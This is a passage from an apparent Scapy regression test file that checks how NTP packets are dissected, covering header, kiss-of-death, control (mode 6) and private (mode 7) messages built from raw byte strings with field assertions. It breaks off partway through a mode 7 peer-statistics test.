assert(p[NTPAuthenticator].key_id == 1) assert(p[NTPAuthenticator].dgst.encode("hex") == 'ad79f3a1e5fcd032d26a1e27c3c1b60e') = NTPHeader - KoD s = '\xe4\x00\x06\xe8\x00\x00\x00\x00\x00\x00\x02\xcaINIT\x00\x00\x00\x00\x00\x00\x00\x00\xdb@\xe3\x9eH\xa3pj\xdb@\xe3\x9eH\xf0\xc3\\\xdb@\xe3\x9eH\xfaL\xac\x00\x00\x00\x01B\x86)\xc1Q4\x8bW8\xe7Q\xda\xd0Z\xbc\xb8' p = NTP(s) assert(isinstance(p, NTPHeader)) assert(p.leap == 3) assert(p.version == 4) assert(p.mode == 4) assert(p.stratum == 0) assert(p.ref_id == 'INIT') = NTPHeader - Extension dissection test s = '#\x02\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xdbM\xdf\x19e\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdbM\xdf\x19e\x89\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPHeader)) assert(p.leap == 0) assert(p.version == 4) assert(p.mode == 3) assert(p.stratum == 2) ############################ NTP Control (mode 6) ############################ + NTP Control (mode 6) tests = NTP Control (mode 6) - CTL_OP_READSTAT (1) - request s = '\x16\x01\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 1) assert(p.sequence == 12) assert(p.status == 0) assert(p.association_id == 0) assert(p.offset == 0) assert(p.count == 0) assert(p.data == '') = NTP Control (mode 6) - CTL_OP_READSTAT (2) - response s = '\x16\x81\x00\x0c\x06d\x00\x00\x00\x00\x00\x04\xe5\xfc\xf6$' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 1) assert(p.sequence == 12) assert(isinstance(p.status_word, NTPSystemStatusPacket)) assert(p.status_word.leap_indicator == 0) assert(p.status_word.clock_source == 6) assert(p.status_word.system_event_counter == 6) assert(p.status_word.system_event_code == 4) assert(p.association_id == 0) assert(p.offset == 0) assert(p.count == 4) assert(isinstance(p.data, NTPPeerStatusDataPacket)) assert(p.data.association_id == 58876) assert(isinstance(p.data.peer_status, NTPPeerStatusPacket)) assert(p.data.peer_status.configured == 1) assert(p.data.peer_status.auth_enabled == 1) assert(p.data.peer_status.authentic == 1) assert(p.data.peer_status.reachability == 1) assert(p.data.peer_status.reserved == 0) assert(p.data.peer_status.peer_sel == 6) assert(p.data.peer_status.peer_event_counter == 2) assert(p.data.peer_status.peer_event_code == 4) = NTP Control (mode 6) - CTL_OP_READVAR (1) - request s = '\x16\x02\x00\x12\x00\x00\xfc\x8f\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.op_code == 2) assert(p.sequence == 18) assert(p.status == 0) assert(p.association_id == 64655) assert(p.data == '') = NTP Control (mode 6) - CTL_OP_READVAR (2) - reponse (1st packet) s = '\xd6\xa2\x00\x12\xc0\x11\xfc\x8f\x00\x00\x01\xd4srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\r\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\r\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\r\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\r\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\r\njitter=0.000, xleave=0.240,\r\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\r\nfiltoffset= 0.00 0.00 0.00 0.00 ' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 0) assert(p.more == 1) assert(p.op_code == 2) assert(p.sequence == 18) assert(isinstance(p.status_word, NTPPeerStatusPacket)) assert(p.status_word.configured == 1) assert(p.status_word.auth_enabled == 1) assert(p.status_word.authentic == 0) assert(p.status_word.reachability == 0) assert(p.status_word.peer_sel == 0) assert(p.status_word.peer_event_counter == 1) assert(p.status_word.peer_event_code == 1) assert(p.association_id == 64655) assert(p.offset == 0) assert(p.count == 468) assert(p.data.load == 'srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\r\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\r\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\r\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\r\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\r\njitter=0.000, xleave=0.240,\r\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\r\nfiltoffset= 0.00 0.00 0.00 0.00 ') = NTP Control (mode 6) - CTL_OP_READVAR (3) - reponse (2nd packet) s = '\xd6\x82\x00\x12\xc0\x11\xfc\x8f\x01\xd4\x00i0.00 0.00 0.00 0.00,\r\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\r\n\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 2) assert(p.sequence == 18) assert(isinstance(p.status_word, NTPPeerStatusPacket)) assert(p.association_id == 64655) assert(p.offset == 468) assert(p.count == 105) assert(p.data.load == '0.00 0.00 0.00 0.00,\r\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\r\n\x00\x00\x00') = NTP Control (mode 6) - CTL_OP_READVAR (4) - request s = '\x16\x02\x00\x13\x00\x00s\xb5\x00\x00\x00\x0btest1,test2\x00\x00\x00\x00\x01=\xc2;\xc7\xed\xb9US9\xd6\x89\x08\xc8\xaf\xa6\x12' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 2) assert(len(p.data.load) == 12) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '3dc23bc7edb9555339d68908c8afa612') = NTP Control (mode 6) - CTL_OP_READVAR (5) - response s = '\xd6\xc2\x00\x13\x05\x00s\xb5\x00\x00\x00\x00\x00\x00\x00\x01\x97(\x02I\xdb\xa0s8\xedr(`\xdbJX\n' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 1) assert(p.more == 0) assert(p.op_code == 2) assert(len(p.data.load) == 0) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '97280249dba07338ed722860db4a580a') = NTP Control (mode 6) - CTL_OP_WRITEVAR (1) - request s = '\x16\x03\x00\x11\x00\x00\x00\x00\x00\x00\x00\x0btest1,test2\x00\x00\x00\x00\x01\xaf\xf1\x0c\xb4\xc9\x94m\xfcM\x90\tJ\xa1p\x94J' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 3) assert(len(p.data.load) == 12) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == 'aff10cb4c9946dfc4d90094aa170944a') = NTP Control (mode 6) - CTL_OP_WRITEVAR (2) - response s = '\xd6\xc3\x00\x11\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80z\x80\xfb\xaf\xc4pg\x98S\xa8\xe5xe\x81\x1c' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 1) assert(p.more == 0) assert(p.op_code == 3) assert(hasattr(p, 'status_word')) assert(isinstance(p.status_word, NTPErrorStatusPacket)) assert(p.status_word.error_code == 5) assert(len(p.data.load) == 0) assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '807a80fbafc470679853a8e57865811c') = NTP Control (mode 6) - CTL_OP_CONFIGURE (1) - request s = '\x16\x08\x00\x16\x00\x00\x00\x00\x00\x00\x00\x0ccontrolkey 1\x00\x00\x00\x01\xea\xa7\xac\xa8\x1bj\x9c\xdbX\xe1S\r6\xfb\xef\xa4' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 8) assert(p.count == 12) assert(p.data.load == 'controlkey 1') assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == 'eaa7aca81b6a9cdb58e1530d36fbefa4') = NTP Control (mode 6) - CTL_OP_CONFIGURE (2) - response s = '\xd6\x88\x00\x16\x00\x00\x00\x00\x00\x00\x00\x12Config Succeeded\r\n\x00\x00\x00\x00\x00\x01\xbf\xa6\xd8_\xf9m\x1e2l)<\xac\xee\xc2\xa59' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 8) assert(p.count == 18) assert(p.data.load == 'Config Succeeded\r\n\x00\x00') assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == 'bfa6d85ff96d1e326c293caceec2a539') = NTP Control (mode 6) - CTL_OP_SAVECONFIG (1) - request s = '\x16\t\x00\x1d\x00\x00\x00\x00\x00\x00\x00\x0fntp.test.2.conf\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc9\xfb\x8a\xbe<`_\xfa6\xd2\x18\xc3\xb7d\x89#' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 9) assert(p.count == 15) assert(p.data.load == 'ntp.test.2.conf\x00') assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == 'c9fb8abe3c605ffa36d218c3b7648923') = NTP Control (mode 6) - CTL_OP_SAVECONFIG (2) - response s = "\xd6\x89\x00\x1d\x00\x00\x00\x00\x00\x00\x00*Configuration saved to 'ntp.test.2.conf'\r\n\x00\x00\x00\x00\x00\x012\xc2\xbaY\xc53\xfe(\xf5P\xe5\xa0\x86\x02\x95\xd9" p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 9) assert(p.count == 42) assert(p.data.load == "Configuration saved to 'ntp.test.2.conf'\r\n\x00\x00") assert(p.authenticator.key_id == 1) assert(p.authenticator.dgst.encode("hex") == '32c2ba59c533fe28f550e5a0860295d9') = NTP Control (mode 6) - CTL_OP_REQ_NONCE (1) - request s = '\x16\x0c\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 12) assert(p.data == '') assert(p.authenticator == '') = NTP Control (mode 6) - CTL_OP_REQ_NONCE (2) - response s = '\xd6\x8c\x00\x07\x00\x00\x00\x00\x00\x00\x00 nonce=db4186a2e1d9022472e24bc9\r\n' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 0) assert(p.more == 0) assert(p.op_code == 12) assert(p.data.load == 'nonce=db4186a2e1d9022472e24bc9\r\n') assert(p.authenticator == '') = NTP Control (mode 6) - CTL_OP_READ_MRU (1) - request s = '\x16\n\x00\x08\x00\x00\x00\x00\x00\x00\x00(nonce=db4186a2e1d9022472e24bc9, frags=32' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 0) assert(p.error == 0) assert(p.op_code == 10) assert(p.count == 40) assert(p.data.load == 'nonce=db4186a2e1d9022472e24bc9, frags=32') assert(p.authenticator == '') = NTP Control (mode 6) - CTL_OP_READ_MRU (2) - response s = '\xd6\x8a\x00\x08\x00\x00\x00\x00\x00\x00\x00\xe9nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\r\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\r\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\r\nlast.newest=0xdb418673.323e1a89\r\n\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPControl)) assert(p.version == 2) assert(p.mode == 6) assert(p.response == 1) assert(p.error == 0) assert(p.op_code == 10) assert(p.count == 233) assert(p.data.load == 'nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\r\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\r\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\r\nlast.newest=0xdb418673.323e1a89\r\n\x00\x00\x00') assert(p.authenticator == '') ############################ NTP Private (mode 7) ############################ + NTP Private (mode 7) tests = NTP Private (mode 7) - error - Dissection s = '\x97\x00\x03\x1d@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 29) assert(p.err == 4) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_PEER_LIST (1) - request s = '\x17\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 0) assert(p.nb_items == 0) assert(p.data_item_size == 0) = NTP Private (mode 7) - REQ_PEER_LIST (2) - response s = '\x97\x00\x03\x00\x00\x01\x00 \x7f\x7f\x01\x00\x00{\x03\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 0) assert(p.nb_items == 1) assert(p.data_item_size == 32) assert(type(p.data[0]) == NTPInfoPeerList) assert(p.data[0].addr) == "127.127.1.0" assert(p.data[0].port) == 123 = NTP Private (mode 7) - REQ_PEER_INFO (1) - request s = '\x17\x00\x03\x02\x00\x01\x00 \xc0\xa8zf\x00{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 2) assert(p.nb_items == 1) assert(p.data_item_size == 32) assert(isinstance(p.req_data[0], NTPInfoPeerList)) assert(p.req_data[0].addr == "192.168.122.102") assert(p.req_data[0].port == 123) = NTP Private (mode 7) - REQ_PEER_INFO (2) - response s = '\x97\x00\x03\x02\x00\x01\x01\x18\xc0\xa8zf\xc0\xa8ze\x00{\x01\x03\x01\x00\x10\x06\n\xea\x04\x00\x00\xaf"\x00"\x16\x04\xb3\x01\x00\x00\x00\x00\x00\x00\x00INIT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x82\x9d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb<\x8d\xc5\xde\x7fB\x89\xdb<\x8d\xc5\xde\x7fB\x89\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 2) assert(isinstance(p.data[0], NTPInfoPeer)) assert(p.data[0].dstaddr == "192.168.122.102") assert(p.data[0].srcaddr == "192.168.122.101") assert(p.data[0].srcport == 123) assert(p.data[0].associd == 1203) assert(p.data[0].keyid == 1) = NTP Private (mode 7) - REQ_PEER_LIST_SUM (1) - request s = '\x17\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 1) = NTP Private (mode 7) - REQ_PEER_LIST_SUM (2) - response (1st packet) s = '\xd7\x00\x03\x01\x00\x06\x00H\n\x00\x02\x0f\xc0\x00\x02\x01\x00{\x10\x06\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\x00\x02\x02\x00{\x10\x06\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\xa8d\x01\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\xc0\xa8zg\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\x0f\xc0\xa8d\x02\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x02\xc0\xa8zh\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\n\x00\x02\x0f\xc0\xa8d\r\x00{\x10\x07\n\x00\x01\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zk\x00{\x01\x01\xc0\xa8ze\xc0\xa8zf\x00{\x0b\x06\x07\xf4\x83\x01\x00\x00\x07\x89\x00\x00\x00\x007\xb1\x00h\x00\x00o?\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zm\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 1) assert(isinstance(x, NTPInfoPeerSummary) for x in p.data) assert(p.data[0].srcaddr == "192.0.2.1") = NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (2nd packet) s = '\xd7\x01\x03\x01\x00\x06\x00H\xc0\xa8ze\xc0\xa8zg\x00{\x10\x08\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zg\x00{\x10\x08\n\x00\x11\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zh\x00{\x10\x08\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\xc0\xa8zg\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zi\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x02\xc0\xa8zh\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc0\xa8ze\xc0\xa8zj\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zk\x00{\x01\x01\xc0\xa8ze\xc0\xa8zk\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8zm\x00{\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 1) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 1) assert(isinstance(x, NTPInfoPeerSummary) for x in p.data) assert(p.data[0].srcaddr == "192.168.122.103") = NTP Private (mode 7) - REQ_PEER_LIST_SUM (3) - response (3rd packet) s = '\x97\x02\x03\x01\x00\x02\x00H\xc0\xa8ze\xc0\xa8zl\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8ze\xc0\xa8zm\x00{\x10\x07\n\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xfd\xff\x00\x00\x00\x00\x00\x00\x01\x02\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 1) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 1) assert(isinstance(x, NTPInfoPeerSummary) for x in p.data) assert(p.data[0].srcaddr == "192.168.122.108") = NTP Private (mode 7) - REQ_PEER_STATS (1) - request s = '\x17\x00\x03\x03\x00\x01\x00 \xc0\xa8ze\x00{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert(isinstance(p, NTPPrivate)) assert(p.response == 0) assert(p.more == 0) assert(p.version == 2) assert(p.mode == 7) assert(p.request_code == 3) assert(isinstance(p.req_data[0], NTPInfoPeerList)) = NTP Private (mode 7) - REQ_PEER_STATS (2) - response s = 